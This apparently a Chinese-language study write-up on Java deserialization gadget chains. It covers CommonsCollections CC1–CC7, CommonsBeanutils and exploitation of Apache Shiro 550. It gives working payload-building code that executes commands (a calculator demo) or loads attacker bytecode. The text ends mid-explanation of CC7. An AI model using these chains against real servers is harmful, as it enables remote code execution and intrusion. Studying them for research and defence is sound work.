Java安全漫谈学习分析记录

与其说是学习分析记录,不如说是”Java安全漫谈”系列文章中有些没有分析到的点以及需要注意的点。推荐所有学JavaSec的,无论是老手还是新手,都需要看一看代码审计知识星球中的“Java安全漫谈“。

0x01.TransformedMap#put函数触发Transformer回调

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

如上是java安全漫谈中的代码,其中put是触发这个Transformer链的,进入put函数可以发现,调用transformValue方法。

image-20260729101755621

跟进发现依次调用了valueTransformer链的transform方法。这个valueTransformer就是调用TransformedMap.decorate来的。image-20260729101941271

0x02.CC1链中构造payload问题

这个问题是java安全漫谈中记录的:

  1. sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X ;
  2. 被 TransformedMap.decorate修饰的Map中必须有一个键名为X的元素;

对于第二点只有针对TransformedMap,而不是LazyMap,因为两个Map触发执行Transformer链的地方不一样嘛,当然前提是java版本在jdk 8u71之前。

首先是关于子类的问题,如下是通过反射构造AnnotationInvocationHandler实例,对于type变量传入了Retention.class。

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

需要传入这个class类型是因为在反序列化时会对反序列化后的type进行检查,如果type不是一个合法的注解类型,则抛出IllegalArgumentException错误。无法往下触发setValue。

image-20260729103631954

Retention是一个interface,存在一个value方法。

image-20260729112350904

返回到readObject,其中调用到了memberTypes方法,方法会返回一个Map,里面包含了该注解中定义的所有方法的方法名及其返回值类型。

image-20260729112615046

如下Map对象key为方法名value,value为方法返回类型java.lang.annotation.RetentionPolicy。

image-20260729112834322

然后传入的恶意序列化Map对象需要有一个同名的元素即key为value,原因是在readObject函数中有如下判断,恶意序列化Map对象如果存在value key则var6为value,下面var3.get("value")即不为NULL,能够执行setValue函数,否则setValue不会被执行,Transform链不会执行。

image-20260729113250046

0x03.8u71上CC1链无法运行

在此java版本之后,AnnotationInvocationHandler的readObject方法如下,首先使用一个局部变量在获取memberValues,这种情况即使进入动态代理的invoke方法也不会触发LazyMap链。其次新建了一个LinkedHashMap对象,并将原来的键值添加进去了,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来精心构造的Map不再执行set或put操作,也就不会触发RCE了。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
Object var5 = null;

try {
var14 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var6 = var14.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();

for(Map.Entry var9 : var4.entrySet()) {
String var10 = (String)var9.getKey();
Object var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var14.members().get(var10));
}
}

var7.put(var10, var11);
}

AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

所以后续CC6这条链子解决在8u71上无法运行的问题。

0x04.CC6注意点

CC6解决的就是在8u71上无法运行的问题,这条链不在用AnnotationInvocationHandler的readObject,需要注意一点就是在构造最终HashMap对象,调用了put函数,这个函数往下会调用到恶意LazyMap对象的get方法,这个时候会向Map添加一个元素,如果不进行remove处理,反序列化时不会调用Transformer链,所以put之后需要在进行remove:

TiedMapEntry tme = new TiedMapEntry(outerMap, "shit1");
Map expMap = new HashMap();
expMap.put(tme, "shit2");
outerMap.remove("shit1");

0x05.CC3中的InstantiateTransformer

InstantiateTransformer的transform方法如下,功能就是利用反射调用input Class的构造方法,CC3中就是TrAXFilter.class。

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

所以在构造的Transformer链就如下:

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ obj })
};

然后TrAXFilter的构造方法中调用到了newTransformer,触发TransletClassLoader#defineClass加载字节码。需要注意的是下面的这个调用链只有前面两个方法的作用域是public。

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

image-20260730110059434

CC3这一条链子最初其实就是为了规避类似SerialKiller这类工具的过滤(如invokeTransformer)。

image-20260730110437835

但是很显然如果还是用AnnotationInvocationHandler的readObject在jdk 8u71上依旧无法成功运行这条链子。如果用CC6即HashMap的readObject那条链子是不受jdk版本限制的。

image-20260730113038916

0x06.CC6直接打Shiro550报错

报错信息如下:

image-20260730150617768

定位到报错的ClassResolvingObjectInputStream#resolveClass,此方法重载了父类ObjectInputStream#resolveClass,两个方法对比如下:

@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}

// 如下是ObjectInputStream#resolveClass
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}

区别就是前者用的是org.apache.shiro.util.ClassUtils#forName ,其实底层是org.apache.catalina.loader.ParallelWebappClassLoader#loadClass ,而后者用的是Java原生的Class.forName。

image-20260730184200623

在异常捕捉位置下个断点,出异常时加载的类名为[Lorg.apache.commons.collections.Transformer;,即为org.apache.commons.collections.Transformer的数组。

image-20260730151930884

在java安全漫谈中给出的结论是:”如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误“。数组在JVM内部用 [ 开头描述符表示,Java自身的数组我的理解是Java基本类型数组,另一种则是引用类型数组,基本类型数组则是指int[]、boolean[]等等,引用类型数组则是[L<全限定名>;表示”该引用类型的数组”,L = reference/object 类型,例如刚刚的[Lorg.apache.commons.collections.Transformer;。

进入org.apache.catalina.loader.ParallelWebappClassLoader#loadClass 后,resolveClass调试到出现异常的osc的name字段为[Lorg.apache.commons.collections.Transformer;时,进入ClassUtils.forName。调试到关键函数WebappClassLoaderBase#findClassInternal。

name首先经过了WebappClassLoaderBase#binaryNameToPath转化,得到/[Lorg/apache/commons/collections/Transformer;.class。然后在内存Map缓存ResourceEntry中找到是否有这个path,但是ResourceEntry是没有的。

image-20260730190822779

image-20260730191212476

在调用StandardRoot#getClassLoaderResource,此函数中会对name进行一次拼接得到/WEB-INF/classes/[Lorg/apache/commons/collections/Transformer;.class,然后作为第一个参数进入StandardRoot#getResource,后面进入一个关键的StandardRoot#getResourceInternal函数,这里是在按Tomcat按优先级(pre→main→classes→jars→post)在webapp所有资源层里找一个文件的核心循环:找到就立即返回真实资源,全找不到就返回一个非null的”空资源占位”即EmptyResource。查找的位置包括”webapp根目录 + WEB-INF/classes + 每个WEB-INF/lib的jar“,显然是找不到的。

第三方普通类,不是数组类就会在这里进行加载。

protected final WebResource getResourceInternal(String path, boolean useClassLoaderResources) {
WebResource result = null;
WebResource virtual = null;
WebResource mainEmpty = null;

for(List<WebResourceSet> list : this.allResources) {
for(WebResourceSet webResourceSet : list) {
if (!useClassLoaderResources && !webResourceSet.getClassLoaderOnly() || useClassLoaderResources && !webResourceSet.getStaticOnly()) {
result = webResourceSet.getResource(path);
if (result.exists()) {
return result;
}

if (virtual == null) {
if (result.isVirtual()) {
virtual = result;
} else if (this.main.equals(webResourceSet)) {
mainEmpty = result;
}
}
}
}
}

if (virtual != null) {
return virtual;
} else {
return mainEmpty;
}
}

最后由于return了一个EmptyResource,exists函数直接返回false了。

image-20260730190822779

这里没找到,后续在通过Class.forName加载这个非引用数组类。使用的ClassLoader为URLClassLoader。

image-20260730194714155

image-20260730194926159

最后在URLClassLoader#findClass抛出第二次ClassNotFoundException异常,这里找不到是因为ucp,这个ucp其实就是URLClassLoader,ucp具体存在的值如下:

  • $CATALINA_HOME/lib/*.jar(Tomcat自身运行需要的jar)
  • JDK自带的类

WEB-INF/lib/commons-collections-3.2.1.jar不在ucp里,父加载器单向看不到子应用的lib,所以当调用父的findClass时,ucp没有这个jar。this是WebappClassLoader(webapp加载器),this.parent是Tomcat 全局共用的类加载器(父加载器),这涉及到Java双亲委派模型,父看不到 WEB-INF/lib/ 里的任何jar。image-20260730195628567

image-20260730200636589

而Java 自身数组(如 [Ljava.lang.String;):组件类 java.lang.String 在JDK里,而父加载器的 ucp(URL 清单)包含 JDK ,所以父能加载 ,数组类被合成,不会报错。

0x07.构造无数组类Payload打Shiro550

可以注意到触发Transformer链执行的LazyMap#get方法,其中的key参数是一直没用到的。

image-20260731135844336

那么可以结合CC3中执行字节码的payload是这样构造的:

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ obj })
};

不能存在数组类,并且需要去除ConstantTransformer,那么就需要使用到LazyMap#get的key参数,具体payload如下。TrAXFilter.class会作为参数进入InstantiateTransformer#transform进入执行其构造方法,从而执行TransformerImpl链,这样其实就和上面存在ConstantTransformer的payload是一样的。

public class MyCommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload() throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWCQAXABgIABkKA......");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer fakeTransformer = new ConstantTransformer(1);
Transformer trueTransformer = new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ obj });

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
Map expMap = new HashMap();
expMap.put(tme, "shit2");
outerMap.remove(TrAXFilter.class);

Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(outerMap, trueTransformer);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

byte[] bytes = barr.toByteArray();

return bytes;
}
}

image-20260731140850275

构造完后,我看了一下java安全漫谈中构造的,和我的不完全一样,其中用的还是CC6的方法,将TemplatesImpl对象作为key参数传入到InvokerTransformer#transform方法,然后调用TemplatesImpl#newTransformer,明显要简单一点,更推荐这个 。

public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

0x08.CC2

这条链子很简单,用到了一个新的类java.util.PriorityQueue,Gadget如下:

PriorityQueue#readObject() ==> PriorityQueue#heapify() ==> PriorityQueue#siftDown() ==> PriorityQueue#siftDownUsingComparator ==> TransformingComparator#compare

需要注意的是PriorityQueue需要add两个以上元素,否则调用不到PriorityQueue#siftDown()

PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);

image-20260731151730030

如果在Shiro550中使用,payload如下:

public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWCQAXABgIABkKABoAGwoAHA......");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(obj);
queue.add(obj);

setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

存在恶意字节码的TemplatesImpl对象将在TransformingComparator#compare方法作为参数进入InvokeTransformer#transform 。

image-20260731153514288

之前学习的CC1、CC3、CC6的组件都是commons-collections:commons-collections:3.1,而CC2的组件是org.apache.commons:commons-collections4:4.0,前面三条链子其实都是可以在4.0上打通的,只是有个别方法名要改罢了,但是CC2这一条链子在3.1上是打不通的,因为这一版本上的TransformingComparator类没有实现Serializable接⼝的,⽆法在序列化中使⽤。

image-20260731154434064

0x09.CommonsBeauitls与Shiro550

使用的包是Shrio中自带的,也不难,同样利用java.util.PriorityQueue#readObject调用到org.apache.commons.beanutils.BeanComparator#compare方法。

public int compare( Object o1, Object o2 ) {

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

利用PropertyUtils#getProperty调用TemplatesImpl#getOutputProperties,从而调用加载字节码的那条链子。payload如下:

public class CommonsBeanutils {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALw......");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);

queue.add(1);
queue.add(2);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object obj1 = (Object) ois.readObject();
}
}

唯一需要注意的点是,BeanComparator的property属性值设置的值不是getOutputProperties去掉get得到的OutputProperties,传入的值首字母需要小写。

image-20260808141707026

用这个打有CommonsCollections坏境的Shiro550是能打成功的。

image-20260808143418136

按刚才分析的,如果Shiro550不存在CommonsCollections,这条链子应该也可以直接打通的。现实情况是,Tomcat控制台抛出了错误。

具体情况就是找不到来自CommonsCollections包的org.apache.commons.collections.comparators.ComparableComparator。

Java安全漫谈中具体描述是:

commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。

image-20260808143850553

在BeanComparator很容易定位到哪里使用了ComparableComparator这个类,具体是在两个有参构造方法中,那么很显然readObject在还原对象的时候调用构造方法就g了。

image-20260808144915788

所以我门需要走第二个构造方法,this.comparator不为null。这种情况下需要使用到另一个类CaseInsensitiveComparator,其为java.lang.String类下的一个内部私有类,实现了Comparator和Serializable接口,很完美。

public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;

public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}

/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}

这个CaseInsensitiveComparator类是java.lang.String类下的一个内部私有类,可以通过String.CASE_INSENSITIVE_ORDER拿到上下文中的CaseInsensitiveComparator对象,用它来实例化BeanComparator。

最终Payload如下:

public class MyFinalCommonsBeanutils {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload() throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoAC......");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

return barr.toByteArray();
}
}

image-20260808153918514

除CaseInsensitiveComparator类之外,应该是还有很多类可用的,例如java.util.Collections$ReverseComparator。

image-20260808154244305

0x0A.JDK 7u21原生反序列化链

下一章节是分析了JDK版本7u21的一条原生反序列化链,先暂时跳过。

0x0B.剩余CC链

在Java安全漫谈中,剩余CC4、CC5、CC7没有分析到,简单记录下这三条链子的原理吧。

CC4针对的组件版本也为org.apache.commons:commons-collections4:4.0。这条链子就是CC2和CC3的结合,反序列化执行transfromed链用到了CC2的java.util.PriorityQueue,触发TemplatesImpl#newTransformer用到了CC3中的InstantiateTransformer执行TrAXFilter的构造方法,所以Payload如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsCollections4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoACQAWC......");

TemplatesImpl obj = TemplatesImpl.class.newInstance();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "name");
setFieldValue(obj, "_class", null);

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transforms = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ obj })
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

TransformingComparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transforms);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

byte[] bytes = barr.toByteArray();
// System.out.println(barr);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object obj2 = ois.readObject();
}
}

image-20260812104108548

CC5中用到了一个新的Class,名为javax.management.BadAttributeValueExpException,其readObject方法会调用valObject#toString方法,而这个valObj是通过val对应的Object。

image-20260812111538841

那么如果是org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法呢?会调用getValue,那么剩下的就和CC3一样了。

image-20260812112059364

Payload如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] {"open -a Calculator" }),
};

Transformer transformerChain = new ChainedTransformer(transformers);

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap, transformerChain);

TiedMapEntry execMap = new TiedMapEntry(map,1);

BadAttributeValueExpException bve = new BadAttributeValueExpException(1);

Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(bve, execMap);

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(bve);
oos.close();

byte[] bytes = barr.toByteArray();
// System.out.println(barr);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object obj2 = ois.readObject();
}
}

调试的时候其实能够发现序列化的时候会弹个计算器,反序列化的时候执行完gf.get("val", null);也会弹个计算器,后者在Java安全漫谈中说过:“在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了 命令。”。

image-20260812112642445

CC7用到了java.util.Hashtable的readObject方法,反序列化过程中会对Key和Value依次反序列化然后进入reconstitutionPut方法。

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject();

// Validate loadFactor (ignore threshold - it will be re-computed)
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new StreamCorruptedException("Illegal Load: " + loadFactor);

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);

// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);

// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / loadFactor) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);

if (length < 0) { // overflow
length = origlength;
}

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

在此方法中,会检查刚刚从流里读出来的key,是否和已经放入哈希表中的key重复。判断来源则是key的hahs值。如果不存在相同的则用头插法插入新节点。

image-20260813105108042

如果某个元素的hash值和之前已经插入相同,如果我们的key是一个LazyMap对象呢?就会调用org.apache.commons.collections.map.AbstractMapDecorator#equals方法。

image-20260813105904491

继续调用java.util.AbstractMap#equals方法,调用了LazyMap#get,触发Transformer链执行。

image-20260813110951989

Payload如下,构造Payload之后,需要lazyMap2.remove("yy"),原因是构造payload执行put过程中也会调用equals方法触发LazyMap#get,导致反序列化时无法执行到Transformer链。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[] {new ConstantTransformer(3)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] {"open -a Calculator" }),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformer);

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field field =transformerChain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain, transformers);

lazyMap2.remove("yy");

// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();

byte[] bytes = barr.toByteArray();
// System.out.println(barr);

// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
Object obj2 = ois.readObject();
}
}

此链利用前提就是Hashtable的两个元素的key值(LazyMap对象一致)的hash值一致(hash碰撞)。构造如下,两个LazyMap对象的key值和value值的hash值都一致。

lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

如果像上面这个构造,那么需要被替换的fakeTransformer就不能像下面这样构造,因为fakeTransformer返回的值1与LazyMap1中预设的值1相同,导致在构造Hashtable时,两个LazyMap被判定为相等,最终 Hashtable 中只存入了一个元素。

Transformer[] fakeTransformer = new Transformer[] {new ConstantTransformer(1)};

具体原因如下,当执行hashtable.put(lazyMap2, 2)时:

  1. Hash 碰撞:在Java中,字符串yy和zZ的hashCode(是相等的(都是3872)。因此,lazyMap1.hashCode和 lazyMap2.hashCode也会相等;
  2. 触发equals比较:因为Hash碰撞,Hashtable会调用lazyMap1.equals(lazyMap2)进行比较。
  3. AbstractMap#equals的逻辑:LazyMap继承自AbstractMap。equals方法首先会判断两个Map的size是否相等。此时lazyMap1 size为1,lazyMap2 size也为1,继续比较;
  4. 触发LazyMap#get方法:equals方法接着会遍历lazyMap1的元素,去lazyMap2中查找对应的键:lazyMap2.get("yy");
